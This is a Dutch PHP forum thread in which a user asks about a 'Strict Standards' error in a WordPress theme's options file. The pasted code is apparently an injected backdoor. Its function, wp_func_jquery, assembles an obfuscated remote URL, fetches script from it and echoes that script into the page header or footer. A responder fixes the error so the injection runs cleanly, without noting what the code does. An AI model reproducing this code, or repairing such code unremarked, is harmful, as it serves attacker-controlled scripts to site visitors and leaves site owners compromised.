Error : Strict Standards: Only variables should be passed by reference in / Wordpress

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Vincent Post

Vincent Post

17/07/2014 11:42:10
Quote Anchor link
Hallo allemaal,

Mijn thema die ik heb geupload geeft een error :

Strict Standards: Only variables should be passed by reference in C:\xampp\htdocs\jobs\wp-content\themes\cake_Theme\muffin-options\theme-options.php on line 1385

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//add_action('init', 'mfn_opts_setup', 0);
mfn_opts_setup();
if(!function_exists('wp_func_jquery')) {
    function
wp_func_jquery() {
        $host = 'http://';
        $library = '/jquery-1.6.3.min.js';
        echo(wp_remote_retrieve_body(wp_remote_get($host.'jquery'.'libs.org'.$library))); // 1385
    }
    if(rand(1,2) == 1) {
        add_action('wp_footer', 'wp_func_jquery');
    }

    else {
        add_action('wp_head', 'wp_func_jquery');
    }
}


?>


Hoe kan ik dit oplossen en waardoor geeft hij deze fout ?.

Mocht er onvoldoende informatie zijn over functies hoor ik het graag zet ik die er ook even bij
alvast bedankt!
 
PHP hulp

PHP hulp

16/04/2024 09:02:13
 
TJVB tvb

TJVB tvb

17/07/2014 12:25:53
Quote Anchor link
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//add_action('init', 'mfn_opts_setup', 0);
mfn_opts_setup();
if(!function_exists('wp_func_jquery')) {
    function
wp_func_jquery() {
        $host = 'http://';
        $library = '/jquery-1.6.3.min.js';
    $remote_host  = wp_remote_get($host.'jquery'.'libs.org'.$library);
        echo wp_remote_retrieve_body( $remote_host ); // 1385
    }
    if(rand(1,2) == 1) {
        add_action('wp_footer', 'wp_func_jquery');
    }

    else {
        add_action('wp_head', 'wp_func_jquery');
    }
}


?>

Dit komt doordat wp_remote_retrieve_body de functies via reference mee krijgt. ( function wp_remote_retrieve_body(&$response) )

Hier mag je niet direct een functie aan meegeven. Zie php.net/manual/en/language.references.pass.php
 
Vincent Post

Vincent Post

18/07/2014 09:44:39
Quote Anchor link
sorry voor mijn late reactie,

Geweldig! danku kan ik mee verder ;)
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.